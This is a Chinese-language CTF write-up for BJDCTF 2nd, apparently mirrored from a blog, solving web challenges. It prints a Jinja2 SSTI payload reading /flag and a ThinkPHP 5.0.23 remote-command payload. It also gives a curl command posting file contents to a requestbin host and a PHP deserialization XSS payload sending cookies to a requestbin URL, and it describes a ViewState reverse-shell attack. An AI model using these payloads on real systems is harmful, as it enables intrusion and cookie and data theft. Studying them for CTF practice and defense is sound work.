zoukankan      html  css  js  c++  java
  • BJDCTF 2nd Writeup

    fake google

    随便输点什么,url来看不是php,原样回显

    那很有可能是ssti了,试试{{config}}有回显,直接打个python3的payload试试
    {{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}
    拿到flag

    old-hack

    进去后看到是tp5,题目名字又叫old-attack,也没扫到源码,估计是现成的洞了。t框架有s参数可以加载模块,随便加点什么,发现开了debug模式,其中可以看到tp的版本。

    https://www.exploit-db.com/搜tp,还真有个thinkphp 5.0.23(完整版)debug模式下的payload
    (post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx
    直接拿来用完事

    duangShell

    这道题我做的时候很简单,.index.php.swpvim -r复原一下,flag就在根目录
    curl http://requestbin.xxx -X POST -d "`head /flag`"就送flag了,但是后来学弟做的时候flag怎么都找不到了,再后来我也没找到就没管。。

    简单注入

    过滤了引号没过滤,postusername=&password=||1#发现回显不一样了,布尔盲注就完了,select被过滤了,不过不要紧,直接substr(password,1,1)然后拿这个登录就可以拿到flag了

    假猪套天下第一

    套,就硬套
    开局假登录,hint在302界面,去访问L0g1n.php
    如下依次改时间戳,加header就行了(这个Commodore是真的坑)

    Schrödinger

    这题二血
    源码hintNote : Remenmber to remove test.php!,打开test.php,和index.php的功能正好相符合,那就input。下面那个动效我感觉是js做的,源代码里面也是js调用几个奇怪的函数,但是只引入了jQuery.js,说明这个jQuery.js有问题的,打开一看果然是个自制的,其中跟成功率有关的是

    function script(sub){
    	var rate = sub;
    	var t = setInterval(function(){
    		rate += 1;
    		span4.innerText = Math.log(rate) * 4.7;
    	}, 1000);
    }
    

    看了好半天,发现cookie里面有个奇怪的东西dXNlcg=MTU4NDg4ODIyNg%3D%3D,base64解码后看起来是个时间戳,随便改了试试看,发现成功率变了,再看源代码,发现script的参数变大了,按这个思路把时间回调就行,直接狠一点,改成MA==,就可以得到password。

    然而这个password他不是个password,我各种姿势试了半天,都没成功,后来反应过来是个b站av号,后面@时间戳应该是评论的时间,找到flag后我情不自禁在留言区真情流露

    xss之光

    git源码泄露,就两行,是个反序列化,结合题目名字,应该是php原生类与反序列化xss,那就是这样了

    <?php
    $a = new Exception("<script>window.location.href="http://http.requestbin.buuoj.cn/1nrks0e1?cookie="+escape(document["cookie"])</script>");
    $b = serialize($a);
    echo urlencode($b);
    

    elementmaster

    脑洞题,不想说了,<p hidden id>,hex2bin后是元素Po,把元素周期表跑一遍就完了

    文件探测

    有意思的题来了。首页源代码里hint,BJDCTF传统艺能,那就是hint藏header,没话说,进入home.php
    file参数,很自然试一下伪协议读文件,能读到system.phphome.php的源码。读源码,home文件包含过滤很死,没什么机会,但是还过滤了admin,尝试一下发现有admin.php(我就是卡这里卡了一晚上)。system.phpfile_get_contents不能读任意文件,只能用来ssrf,用来访问http://127.0.0.1/admin#,用#锚点来绕过后面的脏字符。sprintf("$url method&content_size:$method%d", $detect)只要让$method='%s%'就能输出字符串,然后读到admin.php源码

    admin.php下面随机是基本真随机,没法爆破。但是其实有个逻辑问题

    if (isset($_GET['decrypt'])) {
        $decr = $_GET['decrypt'];
        if (Check()){
            $data = $_SESSION['secret'];
            include 'flag_2sln2ndln2klnlksnf.php';
            $cipher = aesEn($data, 'y1ng');
            if ($decr === $cipher){
                echo WHAT_YOU_WANT;
            } else {
                die('爬');
            }
        } else{
            header("Refresh:0.1;url=index.php");
        }
    } else {
        //I heard you can break PHP mt_rand seed
        mt_srand(rand(0,9999999));
        $length = mt_rand(40,80);
        $_SESSION['secret'] = bin2hex(random_bytes($length));
    }
    

    那我如果不带session,直接带decrypt参数访问,不就不存在这个$_SESSION['secret']了吗?

    <?php
    function aesEn($data, $key)
    {
        $method = 'AES-128-CBC';
        $iv = md5("174.0.222.75",true);
        return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
    }
    
    echo aesEn('', 'y1ng');
    

    生成poc删掉cookie里的PHPSESSID直接传就行

    EasyAspDotNet

    这题一血
    这题是HITCON 2018: Why so Serials?改的,实际上基本原题,参考HITCON 2018: Why so Serials? Write-upHITCON CTF 2018 - Why so Serials? Writeup
    用后一篇文章的poc在本地搭个环境,把shellcode改成第一篇文章中的powershell反弹shell命令,然后再题目页面把html中的viewstate和它的签名换成我们本地生成的,运行就可以getshell。

    其实真的不难,只是我没见过,具体原理我还要再研究研究

  • 相关阅读:
    lock free
    Solr 开发环境搭建
    Web中实现网页跳转的方法大总结:
    CSS定位中最难理解的她——absolute的探讨
    JavaScript中正则表达式中遇到的问题——测试匹配
    编写一个Android平台遇到的所有问题(一)——查询sqlite数据库时遇到的问题
    初来乍到,大家好
    在stackoverflow上使用markdown
    提升debian中字体效果
    vim pathogen自动配置
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/12549263.html
Copyright © 2011-2022 走看看